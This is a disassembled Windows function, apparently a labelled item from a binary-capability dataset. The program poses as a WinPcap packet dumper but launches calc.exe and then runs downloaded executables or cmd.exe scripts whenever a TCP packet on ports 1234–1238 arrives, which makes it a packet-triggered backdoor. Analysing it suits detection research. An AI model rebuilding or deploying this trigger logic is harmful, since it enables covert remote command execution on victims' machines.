Function at 0x140001120
Capabilities:
Create process on windows

Disassembly:
push rbp
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x60], rax
mov edx, 1
lea rcx, str.C:WindowsSystem32calc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.pktdump_ex:_prints_the_packets_of_the_network_using_WinPcap._n
call fcn.140001060
lea r9, [rsp + 0x60]
xor edx, edx
lea r8, [rsp + 0x50]
lea rcx, str.rpcap:__
call qword [sym.imp.wpcap.dll_pcap_findalldevs_ex]
cmp eax, 0xffffffff
jne 0x1400011a2
lea ecx, [rax + 3]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, [rsp + 0x60]
lea rdx, str.Error_in_pcap_findalldevs_ex:__s_n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x14000176e
mov qword [rsp + 0x1a0], rbx
mov rbx, qword [rsp + 0x50]
test rbx, rbx
je 0x1400011fe
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [rbx + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400017b0
mov rcx, rax
lea rdx, [0x140001980]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbx + 0x10]
lea rdx, str.Intel
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x14000122d
mov rbx, qword [rbx]
test rbx, rbx
jne 0x1400011c0
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.No_Intel_interfaces_found__Exiting._n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.wpcap.dll_pcap_freealldevs]
mov eax, 0xffffffff
jmp 0x140001766
mov rcx, qword [rbx + 8]
lea rax, [rsp + 0x60]
mov edx, 0x64
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x178], r14
mov qword [rsp + 0x20], 0
lea r9d, [rdx - 0x50]
lea r8d, [rdx - 0x63]
call qword [sym.imp.wpcap.dll_pcap_open]
mov r14, rax
test rax, rax
jne 0x140001293
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str._nError_opening_adapter_n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.wpcap.dll_pcap_freealldevs]
lea eax, [r14 - 1]
jmp 0x14000175e
mov r8, qword [rbx + 0x10]
lea rcx, str.Using_interface:__s___s__n
mov rdx, qword [rbx + 8]
mov qword [rsp + 0x1a8], rsi
mov qword [rsp + 0x1b0], rdi
mov qword [rsp + 0x188], r12
mov qword [rsp + 0x180], r13
mov qword [rsp + 0x170], r15
call fcn.140001060
mov r15d, 4
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x34], r15d
mov rcx, r14
mov dword [rsp + 0x30], r15d
mov r12d, r15d
mov r13d, r15d
call qword [sym.imp.wpcap.dll_pcap_next_ex]
test eax, eax
js 0x1400016ff
je 0x1400016e4
mov rax, qword [rsp + 0x38]
xor esi, esi
cmp byte [rax + 0x17], 6
jne 0x140001331
mov rcx, r14
call qword [sym.imp.wpcap.dll_pcap_datalink]
cmp eax, 1
mov rax, qword [rsp + 0x38]
movzx esi, byte [rax + 0x24]
movzx eax, byte [rax + 0x25]
shl esi, 8
add esi, eax
mov rcx, r14
call qword [sym.imp.wpcap.dll_pcap_datalink]
mov rcx, qword [rsp + 0x38]
cmp byte [rcx + 0xc], 8
jne 0x140001395
cmp byte [rcx + 0xd], 0
jne 0x140001395
movzx ecx, byte [rcx + 0x17]
cmp cl, 1
jne 0x14000135d
lea rbx, str.ICMP
jmp 0x14000139c
cmp cl, 6
jne 0x140001389
mov ecx, 0x40
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9d, esi
lea r8, str.TCP__Port__d_
mov rcx, rax
mov edx, 0x40
mov rbx, rax
call fcn.1400010c0
jmp 0x14000139c
lea rbx, [0x140003368]
cmp cl, 0x11
je 0x14000139c
lea rbx, str.Unknown
mov rdx, qword [rsp + 0x40]
lea rcx, str._ld:_ld___ld_____s_n
mov qword [rsp + 0x20], rbx
mov r9d, dword [rdx + 0xc]
mov r8d, dword [rdx + 4]
mov edx, dword [rdx]
call fcn.140001060
mov rax, qword [rsp + 0x40]
mov ebx, 1
mov ecx, dword [rax + 8]
inc ecx
cmp ecx, ebx
jbe 0x140001428
xor edi, edi
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rsp + 0x38]
lea rcx, str._.2x
movzx edx, byte [rdi + rax]
call fcn.140001060
mov eax, ebx
and eax, 0x8000000f
jge 0x140001405
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x140001415
lea rcx, [0x140003494]
call fcn.140001060
mov rax, qword [rsp + 0x40]
inc ebx
inc rdi
mov ecx, dword [rax + 8]
inc ecx
cmp ebx, ecx
jb 0x1400013e0
lea rcx, [0x140003498]
call fcn.140001060
lea r8, [0x14000349c]
lea rdx, str.wyniki.txt
lea rcx, [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
jne 0x140001783
mov rcx, r14
call qword [sym.imp.wpcap.dll_pcap_datalink]
mov rcx, qword [rsp + 0x38]
cmp byte [rcx + 0xc], 8
jne 0x1400014b9
cmp byte [rcx + 0xd], 0
jne 0x1400014b9
movzx ecx, byte [rcx + 0x17]
cmp cl, 1
jne 0x140001481
lea rbx, str.ICMP
jmp 0x1400014c0
cmp cl, 6
jne 0x1400014ad
mov ecx, 0x40
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9d, esi
lea r8, str.TCP__Port__d_
mov rcx, rax
mov edx, 0x40
mov rbx, rax
call fcn.1400010c0
jmp 0x1400014c0
lea rbx, [0x140003368]
cmp cl, 0x11
je 0x1400014c0
lea rbx, str.Unknown
mov rax, qword [rsp + 0x40]
lea rdx, str._ld:_ld___d_____s_n
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x28], rbx
mov r8d, dword [rax]
mov r9d, r8d
mov eax, dword [rax + 0xc]
mov dword [rsp + 0x20], eax
call fcn.140001010
mov rax, qword [rsp + 0x40]
mov ebx, 1
mov ecx, dword [rax + 8]
inc ecx
cmp ecx, ebx
jbe 0x140001553
xor edi, edi
nop dword [rax]
mov rax, qword [rsp + 0x38]
lea rdx, str._.2x
mov rcx, qword [rsp + 0x48]
movzx r8d, byte [rdi + rax]
call fcn.140001010
mov eax, ebx
and eax, 0x8000000f
jge 0x14000152b
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x140001540
mov rcx, qword [rsp + 0x48]
lea rdx, [0x140003494]
call fcn.140001010
mov rax, qword [rsp + 0x40]
inc ebx
inc rdi
mov ecx, dword [rax + 8]
inc ecx
cmp ebx, ecx
jb 0x140001500
sub esi, 0x4d2
je 0x14000168d
sub esi, 1
je 0x140001650
sub esi, 1
je 0x140001613
sub esi, 1
je 0x1400015c9
cmp esi, 1
jne 0x1400016c8
mov ebx, dword [rsp + 0x30]
test ebx, ebx
jne 0x1400015be
mov dword [rsp + 0x28], ebx
lea r9, [0x140003584]
lea r8, str.C:UsersUserDownloadsuninstall.exe
mov qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [rsp + 0x30], 4
jmp 0x1400016c8
dec ebx
mov dword [rsp + 0x30], ebx
jmp 0x1400016c8
mov ebx, dword [rsp + 0x34]
test ebx, ebx
jne 0x140001608
mov dword [rsp + 0x28], ebx
lea r9, str._c_C:UsersUserDownloadsdata3.tdt
lea r8, str.C:WindowsSystem32cmd.exe
mov qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [rsp + 0x34], 4
jmp 0x1400016c8
dec ebx
mov dword [rsp + 0x34], ebx
jmp 0x1400016c8
test r13d, r13d
jne 0x14000164b
mov dword [rsp + 0x28], r13d
lea r9, [0x140003584]
lea r8, str.C:UsersUserDownloadsupdatev2.exe
mov qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov r13d, 4
jmp 0x1400016c8
dec r13d
jmp 0x1400016c8
test r12d, r12d
jne 0x140001688
mov dword [rsp + 0x28], r12d
lea r9, [0x140003584]
lea r8, str.C:UsersUserDownloadsupdate.exe
mov qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov r12d, 4
jmp 0x1400016c8
dec r12d
jmp 0x1400016c8
test r15d, r15d
jne 0x1400016c5
mov dword [rsp + 0x28], r15d
lea r9, str._c_C:UsersUserDownloadsdata2.tdt
lea r8, str.C:WindowsSystem32cmd.exe
mov qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov r15d, 4
jmp 0x1400016c8
dec r15d
mov rcx, qword [rsp + 0x48]
lea rdx, [0x140003498]
call fcn.140001010
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea r8, [rsp + 0x38]
mov rcx, r14
lea rdx, [rsp + 0x40]
call qword [sym.imp.wpcap.dll_pcap_next_ex]
test eax, eax
jns 0x140001300
cmp eax, 0xffffffff
jne 0x140001797
mov rcx, r14
call qword [sym.imp.wpcap.dll_pcap_geterr]
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rbx
lea rdx, str.Error_reading_the_packets:__s_n
mov rcx, rax
call fcn.140001010
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x1a8]
mov r13, qword [rsp + 0x180]
mov r12, qword [rsp + 0x188]
mov rdi, qword [rsp + 0x1b0]
mov r15, qword [rsp + 0x170]
mov r14, qword [rsp + 0x178]
mov rbx, qword [rsp + 0x1a0]
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.140001a40
add rsp, 0x190
pop rbp
ret
lea rcx, str.Nie_mo
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov eax, 1
jmp 0x140001736
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.wpcap.dll_pcap_freealldevs]
xor eax, eax
jmp 0x140001736